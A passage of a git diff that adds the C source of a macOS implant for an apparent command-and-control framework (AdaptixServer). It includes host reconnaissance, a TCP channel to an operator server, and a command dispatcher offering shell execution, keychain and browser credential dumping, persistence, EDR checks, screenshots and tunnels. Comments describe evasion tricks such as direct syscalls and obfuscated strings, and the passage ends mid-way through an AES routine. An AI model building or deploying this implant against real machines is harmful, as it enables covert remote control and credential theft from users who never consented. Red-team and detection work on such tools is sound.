CoreFoundation +SRCDIR = agent +OBJDIR = obj + +SOURCES = $(SRCDIR)/main.c \ + $(SRCDIR)/crt.c \ + $(SRCDIR)/msgpack.c \ + $(SRCDIR)/crypt.c \ + $(SRCDIR)/connector.c \ + $(SRCDIR)/agent_info.c \ + $(SRCDIR)/commander.c \ + $(SRCDIR)/tasks_fs.c \ + $(SRCDIR)/tasks_proc.c \ + $(SRCDIR)/tasks_macos.c \ + $(SRCDIR)/jobs.c \ + $(SRCDIR)/tasks_async.c \ + $(SRCDIR)/tasks_net.c \ + $(SRCDIR)/dyld_resolve.c \ + $(SRCDIR)/opsec.c + +OBJECTS = $(SOURCES:$(SRCDIR)/%.c=$(OBJDIR)/%.o) +TARGET = agent_macos + +.PHONY: all clean + +all: $(TARGET) + +$(OBJDIR)/%.o: $(SRCDIR)/%.c | $(OBJDIR) + $(CC) $(CFLAGS) -I$(SRCDIR) -c $< -o $@ + +$(TARGET): $(OBJECTS) + $(CC) $(LDFLAGS) -o $@ $(OBJECTS) + @echo "Built: $@ ($$(ls -la $@ | awk '{print $$5}') bytes)" + +$(OBJDIR): + mkdir -p $(OBJDIR) + +clean: + rm -rf $(OBJDIR) $(TARGET) diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/agent_info.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/agent_info.c new file mode 100644 index 000000000..229f597a4 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/agent_info.c @@ -0,0 +1,141 @@ +#include "agent_info.h" +#include "crt.h" +#include "dyld_resolve.h" +#include "strings_obf.h" + +#include +#include +#include +#include +#include +#include +#include + +// Get OS version from SystemVersion.plist (same as Go agent) +static void get_os_version(char* buf, size_t buf_size) { + // Read SystemVersion.plist and extract ProductVersion value + DEOBF(sysver_path, OBF_SYSVER_PLIST); + int fd = R_open(sysver_path, 0 /* O_RDONLY */, 0); + ZERO_STR(sysver_path, OBF_SYSVER_PLIST); + if (fd < 0) { + ax_strncpy(buf, "unknown", buf_size); + return; + } + + char plist[4096]; + ssize_t n = R_read(fd, plist, sizeof(plist) - 1); + R_close(fd); + if (n <= 0) { + ax_strncpy(buf, "unknown", buf_size); + return; + } + plist[n] = '\0'; + + // Find ProductVersionXX.X.X + const char* key = ax_strstr(plist, "ProductVersion"); + if (!key) { ax_strncpy(buf, "unknown", buf_size); return; } + const char* sopen = ax_strstr(key, ""); + if (!sopen) { ax_strncpy(buf, "unknown", buf_size); return; } + sopen += 8; // skip "" + const char* sclose = ax_strstr(sopen, ""); + if (!sclose) { ax_strncpy(buf, "unknown", buf_size); return; } + + size_t vlen = (size_t)(sclose - sopen); + if (vlen >= buf_size) vlen = buf_size - 1; + ax_memcpy(buf, sopen, vlen); + buf[vlen] = '\0'; +} + +// Get primary IPv4 address (non-loopback, non-link-local) +static void get_primary_ip(char* buf, size_t buf_size) { + buf[0] = '\0'; + struct ifaddrs* ifaddr; + if (R_getifaddrs(&ifaddr) != 0) return; + + for (struct ifaddrs* ifa = ifaddr; ifa; ifa = ifa->ifa_next) { + if (!ifa->ifa_addr) continue; + if (ifa->ifa_addr->sa_family != AF_INET) continue; + + struct sockaddr_in* sa = (struct sockaddr_in*)ifa->ifa_addr; + uint32_t addr = sa->sin_addr.s_addr; + + // Skip loopback (127.x.x.x) + if ((addr & 0xFF) == 127) continue; + // Skip link-local (169.254.x.x) + if ((addr & 0xFFFF) == 0xFEA9) continue; + + R_inet_ntop(AF_INET, &sa->sin_addr, buf, (socklen_t)buf_size); + } + + R_freeifaddrs(ifaddr); +} + +int create_session_info(mp_writer_t* w, uint8_t* session_key) { + // Generate random session key (16 bytes for AES-128) + if (ax_random_bytes(session_key, 16) != 0) return -1; + + // Gather system information + char hostname[256] = {0}; + R_gethostname(hostname, sizeof(hostname)); + + char username[256] = {0}; + struct passwd* pw = (struct passwd*)R_getpwuid(R_getuid()); + if (pw && pw->pw_name) { + ax_strncpy(username, pw->pw_name, sizeof(username) - 1); + } + + char process[1024] = {0}; + { + // Use sysctl(KERN_PROCARGS2) instead of _NSGetExecutablePath + // to avoid direct dyld import (OPSEC: reduces IAT surface) + int mib[3] = {CTL_KERN, KERN_PROCARGS2, (int)R_getpid()}; + size_t sz = 0; + R_sysctl(mib, 3, (void*)0, &sz, (void*)0, 0); + if (sz > 0 && sz < 65536) { + uint8_t* data = (uint8_t*)ax_malloc(sz); + if (R_sysctl(mib, 3, data, &sz, (void*)0, 0) == 0 && sz > sizeof(int)) { + // Layout: [argc:4B][exec_path\0][args...] + const char* path = (const char*)(data + sizeof(int)); + // Extract basename + const char* last = path; + for (const char* p = path; *p; p++) { + if (*p == '/') last = p + 1; + } + ax_strncpy(process, last, sizeof(process) - 1); + } else { + ax_strcpy(process, "unknown"); + } + ax_free(data, sz); + } else { + ax_strcpy(process, "unknown"); + } + } + + char ip[64] = {0}; + get_primary_ip(ip, sizeof(ip)); + + char os_version[64] = {0}; + get_os_version(os_version, sizeof(os_version)); + + int pid = (int)R_getpid(); + int elevated = (R_geteuid() == 0) ? 1 : 0; + + // Write SessionInfo as msgpack map + // vmihailenco/msgpack v5 serializes in DECLARATION order (not alphabetical) + // Go struct order: process, pid, user, host, ipaddr, elevated, acp, oem, os, os_version, encrypt_key + mp_write_map(w, 11); + + mp_write_kv_str(w, "process", process); + mp_write_kv_int(w, "pid", pid); + mp_write_kv_str(w, "user", username); + mp_write_kv_str(w, "host", hostname); + mp_write_kv_str(w, "ipaddr", ip); + mp_write_kv_bool(w, "elevated", elevated); + mp_write_kv_uint(w, "acp", 65001); // UTF-8 code page + mp_write_kv_uint(w, "oem", 65001); + mp_write_kv_str(w, "os", "darwin"); + mp_write_kv_str(w, "os_version", os_version); + mp_write_kv_bin(w, "encrypt_key", session_key, 16); + + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/agent_info.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/agent_info.h new file mode 100644 index 000000000..8a863c803 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/agent_info.h @@ -0,0 +1,15 @@ +#ifndef AGENT_INFO_H +#define AGENT_INFO_H + +#include "msgpack.h" + +/// Build SessionInfo msgpack payload matching Go's utils.SessionInfo struct +/// Also generates a random 16-byte session encryption key +/// +/// msgpack keys (alphabetical order, matching Go vmihailenco/msgpack): +/// acp, elevated, encrypt_key, host, ipaddr, oem, os, os_version, pid, process, user +/// +/// Returns 0 on success, fills session_key (16 bytes) +int create_session_info(mp_writer_t* w, uint8_t* session_key); + +#endif // AGENT_INFO_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/commander.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/commander.c new file mode 100644 index 000000000..0dac11772 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/commander.c @@ -0,0 +1,114 @@ +#include "commander.h" +#include "crt.h" +#include "dyld_resolve.h" +#include "tasks_fs.h" +#include "tasks_proc.h" +#include "tasks_macos.h" +#include "tasks_async.h" +#include "tasks_net.h" + +static int task_pwd(mp_writer_t* w); +static int task_error(mp_writer_t* w, const char* msg); + +int handle_command(uint32_t code, uint32_t cmd_id, + const uint8_t* data, uint32_t data_len, + mp_writer_t* response) { + (void)cmd_id; + + switch (code) { + // ── Filesystem commands ── + case COMMAND_PWD: + return task_pwd(response); + case COMMAND_CD: + return task_cd(data, data_len, response); + case COMMAND_CAT: + return task_cat(data, data_len, response); + case COMMAND_LS: + return task_ls(data, data_len, response); + case COMMAND_CP: + return task_cp(data, data_len, response); + case COMMAND_MV: + return task_mv(data, data_len, response); + case COMMAND_MKDIR: + return task_mkdir(data, data_len, response); + case COMMAND_RM: + return task_rm(data, data_len, response); + case COMMAND_ZIP: + return task_zip(data, data_len, response); + + // ── Process commands ── + case COMMAND_PS: + return task_ps(response); + case COMMAND_KILL: + return task_kill(data, data_len, response); + case COMMAND_SHELL: + return task_shell(data, data_len, response); + + // ── macOS-specific commands ── + case COMMAND_SCREENSHOT: + return task_screenshot(response); + case COMMAND_CLIPBOARD: + return task_clipboard(response); + case COMMAND_PERSIST: + return task_persist(data, data_len, response); + case COMMAND_TCC_CHECK: + return task_tcc_check(response); + case COMMAND_DEFAULTS: + return task_defaults_read(data, data_len, response); + case COMMAND_EDR_CHECK: + return task_edr_check(response); + case COMMAND_KEYCHAIN: + return task_keychain(data, data_len, response); + case COMMAND_BROWSER_DUMP: + return task_browser_dump(data, data_len, response); + + // ── Control ── + case COMMAND_EXIT: + return -99; + + // ── Async/Job commands ── + case COMMAND_DOWNLOAD: + return task_download(data, data_len, response); + case COMMAND_UPLOAD: + return task_upload(data, data_len, response); + case COMMAND_RUN: + return task_run(data, data_len, response); + case COMMAND_JOB_LIST: + return task_job_list(response); + case COMMAND_JOB_KILL: + return task_job_kill(data, data_len, response); + + // ── Network commands ── + case COMMAND_TUNNEL_START: + return task_tunnel_start(data, data_len, response); + case COMMAND_TUNNEL_STOP: + return task_tunnel_stop(data, data_len, response); + case COMMAND_TUNNEL_PAUSE: + return task_tunnel_pause(data, data_len, response); + case COMMAND_TUNNEL_RESUME: + return task_tunnel_resume(data, data_len, response); + case COMMAND_TERMINAL_START: + return task_terminal_start(data, data_len, response); + case COMMAND_TERMINAL_STOP: + return task_terminal_stop(data, data_len, response); + + default: + return task_error(response, "Unknown command"); + } +} + +static int task_pwd(mp_writer_t* w) { + char cwd[4096]; + if (R_getcwd(cwd, sizeof(cwd)) == (char*)0) { + return task_error(w, "getcwd failed"); + } + mp_write_map(w, 1); + mp_write_kv_str(w, "path", cwd); + return 0; +} + +static int task_error(mp_writer_t* w, const char* msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/commander.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/commander.h new file mode 100644 index 000000000..8e12fcada --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/commander.h @@ -0,0 +1,27 @@ +#ifndef COMMANDER_H +#define COMMANDER_H + +#include "types.h" +#include "msgpack.h" + +/// Process a list of commands received from the server +/// Input: array of msgpack-encoded Command structs +/// Output: array of msgpack-encoded response buffers +/// +/// Each Command has: {code: uint, id: uint, data: []byte} +/// Response format depends on the command code + +// Process all commands from inMessage.Object +// Returns msgpack-encoded array of response buffers +// Caller must free the returned buffer +int process_commands(const uint8_t** commands, uint32_t* cmd_sizes, + uint32_t cmd_count, + buffer_t* out_responses, uint32_t* out_count); + +// Process a single command, write response to writer +// Returns 0 on success +int handle_command(uint32_t code, uint32_t cmd_id, + const uint8_t* data, uint32_t data_len, + mp_writer_t* response); + +#endif // COMMANDER_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/connector.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/connector.c new file mode 100644 index 000000000..ef303eac6 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/connector.c @@ -0,0 +1,158 @@ +#include "connector.h" +#include "crt.h" +#include "dyld_resolve.h" + +#include +#include +#include +#include +#include + +// Parse "host:port" string +static int parse_address(const char* address, char* host, size_t host_len, uint16_t* port) { + const char* colon = (const char*)0; + // Find last colon (handles IPv6 in brackets) + for (const char* p = address; *p; p++) { + if (*p == ':') colon = p; + } + if (!colon) return -1; + + size_t hlen = (size_t)(colon - address); + if (hlen >= host_len) return -1; + + ax_memcpy(host, address, hlen); + host[hlen] = '\0'; + + // Parse port + *port = 0; + const char* p = colon + 1; + while (*p >= '0' && *p <= '9') { + *port = *port * 10 + (*p - '0'); + p++; + } + if (*port == 0) return -1; + + return 0; +} + +int conn_open(connector_t* c, const char* address) { + char host[256]; + uint16_t port; + + if (parse_address(address, host, sizeof(host), &port) != 0) + return -1; + + // Resolve hostname + struct addrinfo hints, *result; + ax_memset(&hints, 0, sizeof(hints)); + hints.ai_family = AF_INET; // IPv4 + hints.ai_socktype = SOCK_STREAM; // TCP + + char port_str[8]; + ax_itoa(port, port_str, 10); + + if (R_getaddrinfo(host, port_str, &hints, &result) != 0) + return -1; + + // Create socket + c->fd = R_socket(result->ai_family, result->ai_socktype, result->ai_protocol); + if (c->fd < 0) { + R_freeaddrinfo(result); + return -1; + } + + // Connect + if (R_connect(c->fd, result->ai_addr, result->ai_addrlen) != 0) { + R_close(c->fd); + c->fd = -1; + R_freeaddrinfo(result); + return -1; + } + + R_freeaddrinfo(result); + return 0; +} + +void conn_close(connector_t* c) { + if (c->fd >= 0) { + R_close(c->fd); + c->fd = -1; + } +} + +int conn_read_exact(connector_t* c, uint8_t* buf, size_t size) { + size_t total = 0; + while (total < size) { + ssize_t n = R_read(c->fd, buf + total, size - total); + if (n <= 0) return -1; + total += (size_t)n; + } + return 0; +} + +int conn_recv_msg(connector_t* c, uint8_t** data, size_t* len) { + // Read 4-byte big-endian length + uint8_t len_buf[4]; + if (conn_read_exact(c, len_buf, 4) != 0) return -1; + + uint32_t msg_len = ((uint32_t)len_buf[0] << 24) | ((uint32_t)len_buf[1] << 16) | + ((uint32_t)len_buf[2] << 8) | len_buf[3]; + + if (msg_len == 0) { + *data = (uint8_t*)0; + *len = 0; + return 0; + } + + // Sanity check: max 64MB + if (msg_len > 64 * 1024 * 1024) return -1; + + *data = (uint8_t*)ax_malloc(msg_len); + if (!*data) return -1; + + if (conn_read_exact(c, *data, msg_len) != 0) { + ax_free(*data, msg_len); + *data = (uint8_t*)0; + return -1; + } + + *len = msg_len; + return 0; +} + +int conn_send_msg(connector_t* c, const uint8_t* data, size_t len) { + // Write 4-byte big-endian length + data + uint8_t header[4] = { + (uint8_t)(len >> 24), (uint8_t)(len >> 16), + (uint8_t)(len >> 8), (uint8_t)len + }; + + // Send header + size_t total = 0; + while (total < 4) { + ssize_t n = R_write(c->fd, header + total, 4 - total); + if (n <= 0) return -1; + total += (size_t)n; + } + + // Send data + total = 0; + while (total < len) { + ssize_t n = R_write(c->fd, data + total, len - total); + if (n <= 0) return -1; + total += (size_t)n; + } + + return 0; +} + +int conn_discard(connector_t* c, size_t size) { + uint8_t tmp[1024]; + size_t remaining = size; + while (remaining > 0) { + size_t chunk = remaining < sizeof(tmp) ? remaining : sizeof(tmp); + if (conn_read_exact(c, tmp, chunk) != 0) return -1; + remaining -= chunk; + } + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/connector.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/connector.h new file mode 100644 index 000000000..8c255f4c4 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/connector.h @@ -0,0 +1,36 @@ +#ifndef CONNECTOR_H +#define CONNECTOR_H + +#include +#include + +/// TCP connector for C2 communication +/// Protocol: [4-byte BE length][payload] +/// Matches Go's functions.SendMsg/RecvMsg + +typedef struct { + int fd; +} connector_t; + +// Connect to address "host:port" via TCP +// Returns 0 on success, -1 on failure +int conn_open(connector_t* c, const char* address); + +// Close connection +void conn_close(connector_t* c); + +// Read exactly `size` bytes +int conn_read_exact(connector_t* c, uint8_t* buf, size_t size); + +// Receive a length-prefixed message +// Allocates buffer, sets *data and *len +// Caller must free *data with ax_free(*data, *len) +int conn_recv_msg(connector_t* c, uint8_t** data, size_t* len); + +// Send a length-prefixed message +int conn_send_msg(connector_t* c, const uint8_t* data, size_t len); + +// Read and discard `size` bytes (for banner) +int conn_discard(connector_t* c, size_t size); + +#endif // CONNECTOR_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/crt.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/crt.c new file mode 100644 index 000000000..e595e1693 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/crt.c @@ -0,0 +1,306 @@ +#include "crt.h" +#include "types.h" + +/// ARM64 macOS direct syscalls +/// BSD syscall convention: x16 = syscall number (0x2000000 | bsd_number) +/// x0-x5 = arguments, result in x0, carry flag set on error + +#define SYS_exit 0x2000001 +#define SYS_read 0x2000003 +#define SYS_write 0x2000004 +#define SYS_open 0x2000005 +#define SYS_close 0x2000006 +#define SYS_mmap 0x20000C5 // 197 +#define SYS_munmap 0x2000049 // 73 + +static inline long raw_syscall6(long number, long a0, long a1, long a2, long a3, long a4, long a5) { + register long x16 __asm__("x16") = number; + register long x0 __asm__("x0") = a0; + register long x1 __asm__("x1") = a1; + register long x2 __asm__("x2") = a2; + register long x3 __asm__("x3") = a3; + register long x4 __asm__("x4") = a4; + register long x5 __asm__("x5") = a5; + __asm__ volatile( + "svc #0x80" + : "+r"(x0) + : "r"(x16), "r"(x1), "r"(x2), "r"(x3), "r"(x4), "r"(x5) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall3(long number, long a0, long a1, long a2) { + return raw_syscall6(number, a0, a1, a2, 0, 0, 0); +} + +static inline long raw_syscall1(long number, long a0) { + return raw_syscall6(number, a0, 0, 0, 0, 0, 0); +} + +/// ---- Memory allocation via mmap/munmap ---- + +#define MAP_PRIVATE 0x02 +#define MAP_ANONYMOUS 0x1000 // macOS: MAP_ANON = 0x1000 +#define PROT_READ 0x01 +#define PROT_WRITE 0x02 + +// Allocation header: store size for freeing +typedef struct { + size_t total_size; +} alloc_header_t; + +#define HEADER_SIZE ((sizeof(alloc_header_t) + 15) & ~15) // 16-byte aligned + +void* ax_malloc(size_t size) { + if (size == 0) return (void*)0; + + size_t total = HEADER_SIZE + size; + // Round up to page size for clean munmap on macOS + size_t page_total = (total + 4095) & ~4095UL; + // mmap(NULL, page_total, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) + long result = raw_syscall6(SYS_mmap, 0, (long)page_total, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (result < 0 || result == 0) + return (void*)0; + + alloc_header_t* header = (alloc_header_t*)result; + header->total_size = page_total; + return (void*)((uint8_t*)result + HEADER_SIZE); +} + +void ax_free(void* ptr, size_t size) { + (void)size; + if (!ptr) return; + alloc_header_t* header = (alloc_header_t*)((uint8_t*)ptr - HEADER_SIZE); + size_t total = header->total_size; + // Sanity check: total_size must be page-aligned and reasonable + if (total == 0 || (total & 4095) != 0 || total > (1UL << 30)) { + // Header corrupted — skip memset, just munmap with page-aligned size + total = ((HEADER_SIZE + size) + 4095) & ~4095UL; + } else { + // Zero memory before freeing (OPSEC) + ax_memset(ptr, 0, total - HEADER_SIZE); + } + raw_syscall3(SYS_munmap, (long)header, (long)total, 0); +} + +void* ax_realloc(void* ptr, size_t old_size, size_t new_size) { + if (!ptr) return ax_malloc(new_size); + if (new_size == 0) { + ax_free(ptr, old_size); + return (void*)0; + } + + void* new_ptr = ax_malloc(new_size); + if (!new_ptr) return (void*)0; + + size_t copy_size = old_size < new_size ? old_size : new_size; + ax_memcpy(new_ptr, ptr, copy_size); + ax_free(ptr, old_size); + return new_ptr; +} + +/// ---- String/memory functions ---- + +void* ax_memset(void* dst, int val, size_t n) { + uint8_t* d = (uint8_t*)dst; + while (n--) *d++ = (uint8_t)val; + return dst; +} + +void* ax_memcpy(void* dst, const void* src, size_t n) { + uint8_t* d = (uint8_t*)dst; + const uint8_t* s = (const uint8_t*)src; + while (n--) *d++ = *s++; + return dst; +} + +void* ax_memmove(void* dst, const void* src, size_t n) { + uint8_t* d = (uint8_t*)dst; + const uint8_t* s = (const uint8_t*)src; + if (d < s) { + while (n--) *d++ = *s++; + } else { + d += n; + s += n; + while (n--) *--d = *--s; + } + return dst; +} + +int ax_memcmp(const void* a, const void* b, size_t n) { + const uint8_t* pa = (const uint8_t*)a; + const uint8_t* pb = (const uint8_t*)b; + while (n--) { + if (*pa != *pb) return *pa - *pb; + pa++; + pb++; + } + return 0; +} + +size_t ax_strlen(const char* s) { + const char* p = s; + while (*p) p++; + return (size_t)(p - s); +} + +int ax_strcmp(const char* a, const char* b) { + while (*a && (*a == *b)) { a++; b++; } + return *(unsigned char*)a - *(unsigned char*)b; +} + +int ax_strncmp(const char* a, const char* b, size_t n) { + while (n && *a && (*a == *b)) { a++; b++; n--; } + if (n == 0) return 0; + return *(unsigned char*)a - *(unsigned char*)b; +} + +char* ax_strcpy(char* dst, const char* src) { + char* d = dst; + while ((*d++ = *src++)); + return dst; +} + +char* ax_strncpy(char* dst, const char* src, size_t n) { + char* d = dst; + while (n && (*d++ = *src++)) n--; + while (n--) *d++ = '\0'; + return dst; +} + +char* ax_strcat(char* dst, const char* src) { + char* d = dst + ax_strlen(dst); + while ((*d++ = *src++)); + return dst; +} + +char* ax_strstr(const char* haystack, const char* needle) { + if (!*needle) return (char*)haystack; + size_t nlen = ax_strlen(needle); + while (*haystack) { + if (ax_strncmp(haystack, needle, nlen) == 0) + return (char*)haystack; + haystack++; + } + return (char*)0; +} + +char* ax_strchr(const char* s, int c) { + while (*s) { + if (*s == (char)c) return (char*)s; + s++; + } + if (c == '\0') return (char*)s; + return (char*)0; +} + +/// ---- Integer conversion ---- + +int ax_atoi(const char* s) { + int result = 0, sign = 1; + while (*s == ' ') s++; + if (*s == '-') { sign = -1; s++; } + else if (*s == '+') { s++; } + while (*s >= '0' && *s <= '9') { + result = result * 10 + (*s - '0'); + s++; + } + return sign * result; +} + +int ax_hextoi(const char* s) { + unsigned int result = 0; + while (*s == ' ') s++; + if (s[0] == '0' && (s[1] == 'x' || s[1] == 'X')) s += 2; + while (1) { + char c = *s; + if (c >= '0' && c <= '9') result = (result << 4) | (unsigned)(c - '0'); + else if (c >= 'a' && c <= 'f') result = (result << 4) | (unsigned)(c - 'a' + 10); + else if (c >= 'A' && c <= 'F') result = (result << 4) | (unsigned)(c - 'A' + 10); + else break; + s++; + } + return (int)result; +} + +void ax_itoa(int val, char* buf, int base) { + char tmp[32]; + int i = 0, neg = 0; + + if (val < 0 && base == 10) { + neg = 1; + val = -val; + } + + unsigned int uval = (unsigned int)val; + do { + int digit = uval % base; + tmp[i++] = digit < 10 ? '0' + digit : 'a' + digit - 10; + uval /= base; + } while (uval > 0); + + if (neg) tmp[i++] = '-'; + + int j = 0; + while (i > 0) buf[j++] = tmp[--i]; + buf[j] = '\0'; +} + +/// ---- Random ---- + +int ax_random_bytes(void* buf, size_t len) { + // Open /dev/urandom + long fd = raw_syscall3(SYS_open, (long)"/dev/urandom", 0 /* O_RDONLY */, 0); + if (fd < 0) return -1; + + size_t total = 0; + while (total < len) { + long n = raw_syscall3(SYS_read, fd, (long)((uint8_t*)buf + total), (long)(len - total)); + if (n <= 0) { + raw_syscall1(SYS_close, fd); + return -1; + } + total += n; + } + raw_syscall1(SYS_close, fd); + return 0; +} + +/// ---- Buffer (growable byte array) ---- + +int buf_init(buffer_t* b, size_t initial_cap) { + b->data = (uint8_t*)ax_malloc(initial_cap); + if (!b->data) return -1; + b->len = 0; + b->cap = initial_cap; + return 0; +} + +int buf_append(buffer_t* b, const void* data, size_t len) { + if (b->len + len > b->cap) { + size_t new_cap = b->cap * 2; + while (new_cap < b->len + len) new_cap *= 2; + uint8_t* new_data = (uint8_t*)ax_realloc(b->data, b->cap, new_cap); + if (!new_data) return -1; + b->data = new_data; + b->cap = new_cap; + } + ax_memcpy(b->data + b->len, data, len); + b->len += len; + return 0; +} + +void buf_free(buffer_t* b) { + if (b->data) { + ax_free(b->data, b->cap); + b->data = (uint8_t*)0; + } + b->len = 0; + b->cap = 0; +} + +void buf_reset(buffer_t* b) { + b->len = 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/crt.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/crt.h new file mode 100644 index 000000000..8321a62d3 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/crt.h @@ -0,0 +1,36 @@ +#ifndef CRT_H +#define CRT_H + +#include +#include + +/// Minimal custom runtime — no libc dependency for core operations +/// Memory allocation uses mmap/munmap directly + +void* ax_malloc(size_t size); +void ax_free(void* ptr, size_t size); +void* ax_realloc(void* ptr, size_t old_size, size_t new_size); + +void* ax_memset(void* dst, int val, size_t n); +void* ax_memcpy(void* dst, const void* src, size_t n); +void* ax_memmove(void* dst, const void* src, size_t n); +int ax_memcmp(const void* a, const void* b, size_t n); + +size_t ax_strlen(const char* s); +int ax_strcmp(const char* a, const char* b); +int ax_strncmp(const char* a, const char* b, size_t n); +char* ax_strcpy(char* dst, const char* src); +char* ax_strncpy(char* dst, const char* src, size_t n); +char* ax_strcat(char* dst, const char* src); +char* ax_strstr(const char* haystack, const char* needle); +char* ax_strchr(const char* s, int c); + +/// Integer conversion +int ax_atoi(const char* s); +int ax_hextoi(const char* s); +void ax_itoa(int val, char* buf, int base); + +/// Random bytes (reads /dev/urandom) +int ax_random_bytes(void* buf, size_t len); + +#endif // CRT_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/crypt.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/crypt.c new file mode 100644 index 000000000..a9d1156aa --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/crypt.c @@ -0,0 +1,417 @@ +#include "crypt.h" +#include "crt.h" + +/// ---- AES-128 Core ---- + +static const uint8_t aes_sbox[256] = { + 0x63,0x7C,0x77,0x7B,0xF2,0x6B,0x6F,0xC5,0x30,0x01,0x67,0x2B,0xFE,0xD7,0xAB,0x76, + 0xCA,0x82,0xC9,0x7D,0xFA,0x59,0x47,0xF0,0xAD,0xD4,0xA2,0xAF,0x9C,0xA4,0x72,0xC0, + 0xB7,0xFD,0x93,0x26,0x36,0x3F,0xF7,0xCC,0x34,0xA5,0xE5,0xF1,0x71,0xD8,0x31,0x15, + 0x04,0xC7,0x23,0xC3,0x18,0x96,0x05,0x9A,0x07,0x12,0x80,0xE2,0xEB,0x27,0xB2,0x75, + 0x09,0x83,0x2C,0x1A,0x1B,0x6E,0x5A,0xA0,0x52,0x3B,0xD6,0xB3,0x29,0xE3,0x2F,0x84, + 0x53,0xD1,0x00,0xED,0x20,0xFC,0xB1,0x5B,0x6A,0xCB,0xBE,0x39,0x4A,0x4C,0x58,0xCF, + 0xD0,0xEF,0xAA,0xFB,0x43,0x4D,0x33,0x85,0x45,0xF9,0x02,0x7F,0x50,0x3C,0x9F,0xA8, + 0x51,0xA3,0x40,0x8F,0x92,0x9D,0x38,0xF5,0xBC,0xB6,0xDA,0x21,0x10,0xFF,0xF3,0xD2, + 0xCD,0x0C,0x13,0xEC,0x5F,0x97,0x44,0x17,0xC4,0xA7,0x7E,0x3D,0x64,0x5D,0x19,0x73, + 0x60,0x81,0x4F,0xDC,0x22,0x2A,0x90,0x88,0x46,0xEE,0xB8,0x14,0xDE,0x5E,0x0B,0xDB, + 0xE0,0x32,0x3A,0x0A,0x49,0x06,0x24,0x5C,0xC2,0xD3,0xAC,0x62,0x91,0x95,0xE4,0x79, + 0xE7,0xC8,0x37,0x6D,0x8D,0xD5,0x4E,0xA9,0x6C,0x56,0xF4,0xEA,0x65,0x7A,0xAE,0x08, + 0xBA,0x78,0x25,0x2E,0x1C,0xA6,0xB4,0xC6,0xE8,0xDD,0x74,0x1F,0x4B,0xBD,0x8B,0x8A, + 0x70,0x3E,0xB5,0x66,0x48,0x03,0xF6,0x0E,0x61,0x35,0x57,0xB9,0x86,0xC1,0x1D,0x9E, + 0xE1,0xF8,0x98,0x11,0x69,0xD9,0x8E,0x94,0x9B,0x1E,0x87,0xE9,0xCE,0x55,0x28,0xDF, + 0x8C,0xA1,0x89,0x0D,0xBF,0xE6,0x42,0x68,0x41,0x99,0x2D,0x0F,0xB0,0x54,0xBB,0x16 +}; + +static const uint8_t aes_rcon[10] = { + 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36 +}; + +#define AES128_ROUNDS 10 +#define AES128_NK 4 +#define AES128_NB 4 + +// Key expansion for AES-128: 11 round keys (44 words = 176 bytes) +static void aes128_key_expand(const uint8_t* key, uint8_t* rk) { + ax_memcpy(rk, key, 16); + + for (int i = AES128_NK; i < AES128_NB * (AES128_ROUNDS + 1); i++) { + uint8_t temp[4]; + temp[0] = rk[(i-1)*4 + 0]; + temp[1] = rk[(i-1)*4 + 1]; + temp[2] = rk[(i-1)*4 + 2]; + temp[3] = rk[(i-1)*4 + 3]; + + if (i % AES128_NK == 0) { + // RotWord + uint8_t t = temp[0]; + temp[0] = temp[1]; temp[1] = temp[2]; + temp[2] = temp[3]; temp[3] = t; + // SubWord + temp[0] = aes_sbox[temp[0]]; temp[1] = aes_sbox[temp[1]]; + temp[2] = aes_sbox[temp[2]]; temp[3] = aes_sbox[temp[3]]; + // XOR rcon + temp[0] ^= aes_rcon[i/AES128_NK - 1]; + } + + rk[i*4 + 0] = rk[(i-AES128_NK)*4 + 0] ^ temp[0]; + rk[i*4 + 1] = rk[(i-AES128_NK)*4 + 1] ^ temp[1]; + rk[i*4 + 2] = rk[(i-AES128_NK)*4 + 2] ^ temp[2]; + rk[i*4 + 3] = rk[(i-AES128_NK)*4 + 3] ^ temp[3]; + } +} + +// GF(2^8) multiplication (for MixColumns) +static uint8_t gf_mul(uint8_t a, uint8_t b) { + uint8_t result = 0; + while (b) { + if (b & 1) result ^= a; + uint8_t hi = a & 0x80; + a <<= 1; + if (hi) a ^= 0x1B; // reduction polynomial + b >>= 1; + } + return result; +} + +// AES state operations (in-place on 16-byte block) +static void sub_bytes(uint8_t* state) { + for (int i = 0; i < 16; i++) + state[i] = aes_sbox[state[i]]; +} + +static void shift_rows(uint8_t* s) { + uint8_t t; + // row 1: shift left 1 + t = s[1]; s[1] = s[5]; s[5] = s[9]; s[9] = s[13]; s[13] = t; + // row 2: shift left 2 + t = s[2]; s[2] = s[10]; s[10] = t; t = s[6]; s[6] = s[14]; s[14] = t; + // row 3: shift left 3 + t = s[15]; s[15] = s[11]; 